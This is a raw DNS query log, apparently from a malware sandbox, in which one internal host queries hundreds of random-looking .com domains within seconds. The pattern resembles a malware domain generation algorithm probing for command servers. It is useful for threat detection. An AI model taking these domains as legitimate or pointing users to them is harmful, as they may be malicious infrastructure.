Nov 11, 2024 18:50:40.996697903 CET	192.168.2.6	1.1.1.1	0xcf05	Standard query (0)	vofyzym.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.996926069 CET	192.168.2.6	1.1.1.1	0xc6bd	Standard query (0)	volybec.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.234852076 CET	192.168.2.6	1.1.1.1	0x613d	Standard query (0)	lygytyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.235184908 CET	192.168.2.6	1.1.1.1	0x1206	Standard query (0)	vowyjut.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.236793995 CET	192.168.2.6	1.1.1.1	0x6449	Standard query (0)	qexyvoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.238014936 CET	192.168.2.6	1.1.1.1	0x676f	Standard query (0)	pufytev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.239157915 CET	192.168.2.6	1.1.1.1	0x4ce7	Standard query (0)	gaqyhuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.244808912 CET	192.168.2.6	1.1.1.1	0xdf48	Standard query (0)	lyxyvoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.248373032 CET	192.168.2.6	1.1.1.1	0x1ed	Standard query (0)	vofyref.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.248509884 CET	192.168.2.6	1.1.1.1	0xe7c3	Standard query (0)	qeqyhup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.250144005 CET	192.168.2.6	1.1.1.1	0x2712	Standard query (0)	puzyciq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.253635883 CET	192.168.2.6	1.1.1.1	0xc8e8	Standard query (0)	lymygyx.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.254096985 CET	192.168.2.6	1.1.1.1	0xb192	Standard query (0)	gadyrab.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.266858101 CET	192.168.2.6	1.1.1.1	0x21bf	Standard query (0)	volycik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.267354965 CET	192.168.2.6	1.1.1.1	0xee57	Standard query (0)	qedyrag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.267582893 CET	192.168.2.6	1.1.1.1	0x1dae	Standard query (0)	pumygyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.267913103 CET	192.168.2.6	1.1.1.1	0x481c	Standard query (0)	galycuw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.277581930 CET	192.168.2.6	1.1.1.1	0x9f4d	Standard query (0)	lygylax.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.281344891 CET	192.168.2.6	1.1.1.1	0x4501	Standard query (0)	gaqynyw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.284965992 CET	192.168.2.6	1.1.1.1	0x1613	Standard query (0)	qedykiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.285099983 CET	192.168.2.6	1.1.1.1	0x59ed	Standard query (0)	vonybat.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.288749933 CET	192.168.2.6	1.1.1.1	0x92ff	Standard query (0)	ganyvoz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.289174080 CET	192.168.2.6	1.1.1.1	0x6c3e	Standard query (0)	pujyteq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.289712906 CET	192.168.2.6	1.1.1.1	0x878f	Standard query (0)	qeqynel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.291265965 CET	192.168.2.6	1.1.1.1	0xe646	Standard query (0)	qexysig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.291565895 CET	192.168.2.6	1.1.1.1	0x42f4	Standard query (0)	pufylap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.295891047 CET	192.168.2.6	1.1.1.1	0x5cd1	Standard query (0)	qebyfav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.296145916 CET	192.168.2.6	1.1.1.1	0x7d53	Standard query (0)	vopyqim.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.296442032 CET	192.168.2.6	1.1.1.1	0x99c9	Standard query (0)	vofykoc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.299664021 CET	192.168.2.6	1.1.1.1	0x3361	Standard query (0)	pupyjuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.299783945 CET	192.168.2.6	1.1.1.1	0x362b	Standard query (0)	pujyxyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.300323963 CET	192.168.2.6	1.1.1.1	0x21b6	Standard query (0)	lyvyfad.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.300569057 CET	192.168.2.6	1.1.1.1	0xebd9	Standard query (0)	vojyzyt.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.300992012 CET	192.168.2.6	1.1.1.1	0xc371	Standard query (0)	gahyzez.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.301028013 CET	192.168.2.6	1.1.1.1	0xa9e1	Standard query (0)	qetyquq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.304755926 CET	192.168.2.6	1.1.1.1	0x3612	Standard query (0)	puvydov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.305510998 CET	192.168.2.6	1.1.1.1	0x7bc9	Standard query (0)	qegylep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.306241035 CET	192.168.2.6	1.1.1.1	0xd5e6	Standard query (0)	vocydof.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.310504913 CET	192.168.2.6	1.1.1.1	0x441c	Standard query (0)	gacydib.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.311197042 CET	192.168.2.6	1.1.1.1	0x86ab	Standard query (0)	purymuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.311589956 CET	192.168.2.6	1.1.1.1	0x843c	Standard query (0)	gatyqih.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.311762094 CET	192.168.2.6	1.1.1.1	0xb323	Standard query (0)	volypum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.311913967 CET	192.168.2.6	1.1.1.1	0x1392	Standard query (0)	pumybal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.313069105 CET	192.168.2.6	1.1.1.1	0xd480	Standard query (0)	lyrymuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.317311049 CET	192.168.2.6	1.1.1.1	0x614f	Standard query (0)	puzypug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.318208933 CET	192.168.2.6	1.1.1.1	0x606f	Standard query (0)	qekytyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.318696976 CET	192.168.2.6	1.1.1.1	0xdf7b	Standard query (0)	vowymyk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.319479942 CET	192.168.2.6	1.1.1.1	0xa703	Standard query (0)	lykyxur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.320086956 CET	192.168.2.6	1.1.1.1	0xcad6	Standard query (0)	lykytej.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.320868015 CET	192.168.2.6	1.1.1.1	0x9e04	Standard query (0)	galypyh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.328665018 CET	192.168.2.6	1.1.1.1	0x8e4f	Standard query (0)	lysyjid.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.330409050 CET	192.168.2.6	1.1.1.1	0xa488	Standard query (0)	lymyner.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.331448078 CET	192.168.2.6	1.1.1.1	0x9d3e	Standard query (0)	lyxysun.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.331665993 CET	192.168.2.6	1.1.1.1	0x3b74	Standard query (0)	pupywog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.331839085 CET	192.168.2.6	1.1.1.1	0xb220	Standard query (0)	lysywon.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.332329035 CET	192.168.2.6	1.1.1.1	0x83d4	Standard query (0)	vonygec.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.332379103 CET	192.168.2.6	1.1.1.1	0xa5a9	Standard query (0)	gadykos.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.350027084 CET	192.168.2.6	1.1.1.1	0x8022	Standard query (0)	ganyfes.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.355459929 CET	192.168.2.6	1.1.1.1	0x2efc	Standard query (0)	qekyxul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.400681973 CET	192.168.2.6	1.1.1.1	0x90b7	Standard query (0)	vopyjuf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.400831938 CET	192.168.2.6	1.1.1.1	0x698b	Standard query (0)	gatyhub.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.403724909 CET	192.168.2.6	1.1.1.1	0xa5ac	Standard query (0)	puvycip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.413099051 CET	192.168.2.6	1.1.1.1	0x6a4d	Standard query (0)	vojyrak.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.413477898 CET	192.168.2.6	1.1.1.1	0x4686	Standard query (0)	qebyvop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.454965115 CET	192.168.2.6	1.1.1.1	0xa528	Standard query (0)	qetyhyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:41.455725908 CET	192.168.2.6	1.1.1.1	0x8c96	Standard query (0)	lyvyvix.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.727524996 CET	192.168.2.6	1.1.1.1	0xb3b0	Standard query (0)	vonydik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.728529930 CET	192.168.2.6	1.1.1.1	0x7abd	Standard query (0)	lykylan.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.729106903 CET	192.168.2.6	1.1.1.1	0xdb4c	Standard query (0)	pupymyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.730252981 CET	192.168.2.6	1.1.1.1	0x6102	Standard query (0)	ganydiw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.731545925 CET	192.168.2.6	1.1.1.1	0xf8ba	Standard query (0)	qekylag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.738930941 CET	192.168.2.6	1.1.1.1	0x5e5b	Standard query (0)	galyzeb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.739038944 CET	192.168.2.6	1.1.1.1	0xffae	Standard query (0)	lysymux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.741543055 CET	192.168.2.6	1.1.1.1	0x12f9	Standard query (0)	gahyraw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.743567944 CET	192.168.2.6	1.1.1.1	0xf205	Standard query (0)	lyrygyn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.746927977 CET	192.168.2.6	1.1.1.1	0x4957	Standard query (0)	qedyqup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.748184919 CET	192.168.2.6	1.1.1.1	0xe0e7	Standard query (0)	purygeg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.748862982 CET	192.168.2.6	1.1.1.1	0x3f8c	Standard query (0)	qegyrol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.748862982 CET	192.168.2.6	1.1.1.1	0xe292	Standard query (0)	vocycuc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.749516964 CET	192.168.2.6	1.1.1.1	0x1c89	Standard query (0)	lyvysur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.749660015 CET	192.168.2.6	1.1.1.1	0xb2d6	Standard query (0)	volyzef.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.750348091 CET	192.168.2.6	1.1.1.1	0xc939	Standard query (0)	vowygem.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.750973940 CET	192.168.2.6	1.1.1.1	0xa985	Standard query (0)	lygywor.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.753957033 CET	192.168.2.6	1.1.1.1	0xb030	Standard query (0)	vopymyc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.757091999 CET	192.168.2.6	1.1.1.1	0xba90	Standard query (0)	vojykom.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.757333994 CET	192.168.2.6	1.1.1.1	0x9ece	Standard query (0)	lyxyxyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.759217024 CET	192.168.2.6	1.1.1.1	0x27a4	Standard query (0)	pufywil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.764903069 CET	192.168.2.6	1.1.1.1	0x47a5	Standard query (0)	qexyxuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.765455008 CET	192.168.2.6	1.1.1.1	0xc27d	Standard query (0)	vofyqit.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.766144991 CET	192.168.2.6	1.1.1.1	0x487	Standard query (0)	vopygat.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.766367912 CET	192.168.2.6	1.1.1.1	0xc41	Standard query (0)	gacycus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.766619921 CET	192.168.2.6	1.1.1.1	0x4a7b	Standard query (0)	gaqyfah.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.768549919 CET	192.168.2.6	1.1.1.1	0x7d01	Standard query (0)	puzyxyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.768728971 CET	192.168.2.6	1.1.1.1	0x9d0c	Standard query (0)	pumydoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.769939899 CET	192.168.2.6	1.1.1.1	0x8d5a	Standard query (0)	gatynes.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.770915985 CET	192.168.2.6	1.1.1.1	0xa49c	Standard query (0)	gadyquz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.772046089 CET	192.168.2.6	1.1.1.1	0xf161	Standard query (0)	qeqyfaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.773252010 CET	192.168.2.6	1.1.1.1	0xab	Standard query (0)	lymyfoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.791038990 CET	192.168.2.6	1.1.1.1	0x1ecc	Standard query (0)	qebysul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.802087069 CET	192.168.2.6	1.1.1.1	0x3e2e	Standard query (0)	pujylog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.804406881 CET	192.168.2.6	1.1.1.1	0x2fb0	Standard query (0)	qebyxyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.906793118 CET	192.168.2.6	1.1.1.1	0xa529	Standard query (0)	ganycuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.910981894 CET	192.168.2.6	1.1.1.1	0xceb1	Standard query (0)	lysyger.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.911070108 CET	192.168.2.6	1.1.1.1	0xdf74	Standard query (0)	volyrac.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.923065901 CET	192.168.2.6	1.1.1.1	0xa331	Standard query (0)	vonycum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.923290014 CET	192.168.2.6	1.1.1.1	0x56cf	Standard query (0)	qedyhyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.923428059 CET	192.168.2.6	1.1.1.1	0x4ab8	Standard query (0)	qekyrov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.923680067 CET	192.168.2.6	1.1.1.1	0xdc9	Standard query (0)	lyxytex.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.924007893 CET	192.168.2.6	1.1.1.1	0x6d03	Standard query (0)	pumycug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.924186945 CET	192.168.2.6	1.1.1.1	0x7ae5	Standard query (0)	lymyvin.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.929876089 CET	192.168.2.6	1.1.1.1	0x16fc	Standard query (0)	puzytap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.930363894 CET	192.168.2.6	1.1.1.1	0xeb32	Standard query (0)	vofyjuk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.931302071 CET	192.168.2.6	1.1.1.1	0x956	Standard query (0)	qeqyvig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.931421041 CET	192.168.2.6	1.1.1.1	0xf8cb	Standard query (0)	galyros.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.932651997 CET	192.168.2.6	1.1.1.1	0x6d79	Standard query (0)	vocypyt.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.932956934 CET	192.168.2.6	1.1.1.1	0x49a8	Standard query (0)	qexytep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.932956934 CET	192.168.2.6	1.1.1.1	0x4792	Standard query (0)	pupygel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.934662104 CET	192.168.2.6	1.1.1.1	0xc3d2	Standard query (0)	purybav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.935009956 CET	192.168.2.6	1.1.1.1	0xe6ee	Standard query (0)	gacypyz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.936816931 CET	192.168.2.6	1.1.1.1	0x6d10	Standard query (0)	vowybof.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.936939001 CET	192.168.2.6	1.1.1.1	0xf68e	Standard query (0)	gadyhyw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.937114000 CET	192.168.2.6	1.1.1.1	0x444f	Standard query (0)	puvypul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.937792063 CET	192.168.2.6	1.1.1.1	0x7f5a	Standard query (0)	qetynev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.938445091 CET	192.168.2.6	1.1.1.1	0x8386	Standard query (0)	lykywid.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.939040899 CET	192.168.2.6	1.1.1.1	0x1c4a	Standard query (0)	lyrynad.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.939616919 CET	192.168.2.6	1.1.1.1	0xccfc	Standard query (0)	qegykiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.940352917 CET	192.168.2.6	1.1.1.1	0xfd69	Standard query (0)	gaqyvob.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.941092968 CET	192.168.2.6	1.1.1.1	0x65e7	Standard query (0)	lygyjuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.942464113 CET	192.168.2.6	1.1.1.1	0x2919	Standard query (0)	gahykih.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:42.945297003 CET	192.168.2.6	1.1.1.1	0xaa82	Standard query (0)	pufyjuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.091742039 CET	192.168.2.6	1.1.1.1	0xf27	Standard query (0)	pujywiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.093242884 CET	192.168.2.6	1.1.1.1	0x6e82	Standard query (0)	vopybok.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.097095013 CET	192.168.2.6	1.1.1.1	0xcb8b	Standard query (0)	qebyteg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.098541021 CET	192.168.2.6	1.1.1.1	0x1c4d	Standard query (0)	vofymem.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.099153042 CET	192.168.2.6	1.1.1.1	0x3fbc	Standard query (0)	lyvyxyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.099833012 CET	192.168.2.6	1.1.1.1	0xa1dd	Standard query (0)	pupyboq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.116739035 CET	192.168.2.6	1.1.1.1	0xc2c6	Standard query (0)	ganypeb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.117013931 CET	192.168.2.6	1.1.1.1	0xbb9	Standard query (0)	qekykup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.131731033 CET	192.168.2.6	1.1.1.1	0xa7ef	Standard query (0)	lykyjux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.132460117 CET	192.168.2.6	1.1.1.1	0x5283	Standard query (0)	lyvytan.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.140542984 CET	192.168.2.6	1.1.1.1	0x7b43	Standard query (0)	vojyjyc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.140784025 CET	192.168.2.6	1.1.1.1	0x1527	Standard query (0)	vonypyf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.141047955 CET	192.168.2.6	1.1.1.1	0x9f4f	Standard query (0)	galykiz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.141236067 CET	192.168.2.6	1.1.1.1	0x7fa	Standard query (0)	pumypyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.154117107 CET	192.168.2.6	1.1.1.1	0xc5fd	Standard query (0)	vocyzek.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.159502029 CET	192.168.2.6	1.1.1.1	0xa6b	Standard query (0)	vocyrom.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.160288095 CET	192.168.2.6	1.1.1.1	0x9d89	Standard query (0)	lyryvur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.160830975 CET	192.168.2.6	1.1.1.1	0xb6f6	Standard query (0)	pujyjup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.161756039 CET	192.168.2.6	1.1.1.1	0xd308	Standard query (0)	gatyfaz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.162058115 CET	192.168.2.6	1.1.1.1	0xf0a5	Standard query (0)	lymyxex.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.165249109 CET	192.168.2.6	1.1.1.1	0x3925	Standard query (0)	puzywuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.165657043 CET	192.168.2.6	1.1.1.1	0x7a70	Standard query (0)	vofygaf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.166671991 CET	192.168.2.6	1.1.1.1	0x7c6d	Standard query (0)	qeqyxyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.166709900 CET	192.168.2.6	1.1.1.1	0x2f1c	Standard query (0)	lyxywij.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.166915894 CET	192.168.2.6	1.1.1.1	0x4118	Standard query (0)	lygyged.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.168169022 CET	192.168.2.6	1.1.1.1	0x58bf	Standard query (0)	gaqycyz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.169223070 CET	192.168.2.6	1.1.1.1	0x7126	Standard query (0)	pufygav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.169935942 CET	192.168.2.6	1.1.1.1	0xa5a3	Standard query (0)	pumyxep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.182012081 CET	192.168.2.6	1.1.1.1	0xe39b	Standard query (0)	galyquw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.183120012 CET	192.168.2.6	1.1.1.1	0xf3f	Standard query (0)	purycul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.183568954 CET	192.168.2.6	1.1.1.1	0x486	Standard query (0)	volyquk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.187236071 CET	192.168.2.6	1.1.1.1	0x248	Standard query (0)	qegyqug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.187482119 CET	192.168.2.6	1.1.1.1	0x6f2a	Standard query (0)	qetyvil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.187705040 CET	192.168.2.6	1.1.1.1	0x5f69	Standard query (0)	vowycut.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.187939882 CET	192.168.2.6	1.1.1.1	0xd213	Standard query (0)	puvytag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.197444916 CET	192.168.2.6	1.1.1.1	0xc4b3	Standard query (0)	gahyhys.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.197762012 CET	192.168.2.6	1.1.1.1	0xfc64	Standard query (0)	gacyroh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.217603922 CET	192.168.2.6	1.1.1.1	0x3192	Standard query (0)	qegyhev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.217987061 CET	192.168.2.6	1.1.1.1	0x3a4a	Standard query (0)	lysyfin.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.218008041 CET	192.168.2.6	1.1.1.1	0x23d2	Standard query (0)	lyryfox.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.218405962 CET	192.168.2.6	1.1.1.1	0x74a5	Standard query (0)	vonyzac.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.218535900 CET	192.168.2.6	1.1.1.1	0x6dbe	Standard query (0)	qetyfop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.218643904 CET	192.168.2.6	1.1.1.1	0x691e	Standard query (0)	qexyriq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.218643904 CET	192.168.2.6	1.1.1.1	0x67c4	Standard query (0)	pufymyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.218755007 CET	192.168.2.6	1.1.1.1	0xa5ca	Standard query (0)	qedyfog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.218827963 CET	192.168.2.6	1.1.1.1	0x711e	Standard query (0)	gadyneh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.219049931 CET	192.168.2.6	1.1.1.1	0x80bb	Standard query (0)	gahyqub.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.219049931 CET	192.168.2.6	1.1.1.1	0xe880	Standard query (0)	vojyquf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.219275951 CET	192.168.2.6	1.1.1.1	0x3409	Standard query (0)	gadyfob.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.222399950 CET	192.168.2.6	1.1.1.1	0xd17d	Standard query (0)	gacyzaw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.222682953 CET	192.168.2.6	1.1.1.1	0xb07b	Standard query (0)	vowydic.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.222847939 CET	192.168.2.6	1.1.1.1	0x2d19	Standard query (0)	gaqydus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.223020077 CET	192.168.2.6	1.1.1.1	0xa433	Standard query (0)	qexylal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.223159075 CET	192.168.2.6	1.1.1.1	0xe2eb	Standard query (0)	qeqysuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.223453045 CET	192.168.2.6	1.1.1.1	0x31c6	Standard query (0)	lyxylor.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.223608017 CET	192.168.2.6	1.1.1.1	0x904c	Standard query (0)	qedynaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.223661900 CET	192.168.2.6	1.1.1.1	0x959f	Standard query (0)	lymysud.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.223831892 CET	192.168.2.6	1.1.1.1	0xdf9e	Standard query (0)	puzylol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.223831892 CET	192.168.2.6	1.1.1.1	0x3552	Standard query (0)	lysynaj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.224250078 CET	192.168.2.6	1.1.1.1	0x6905	Standard query (0)	gatyviw.com	A (IP address)	IN (0x0001)	false
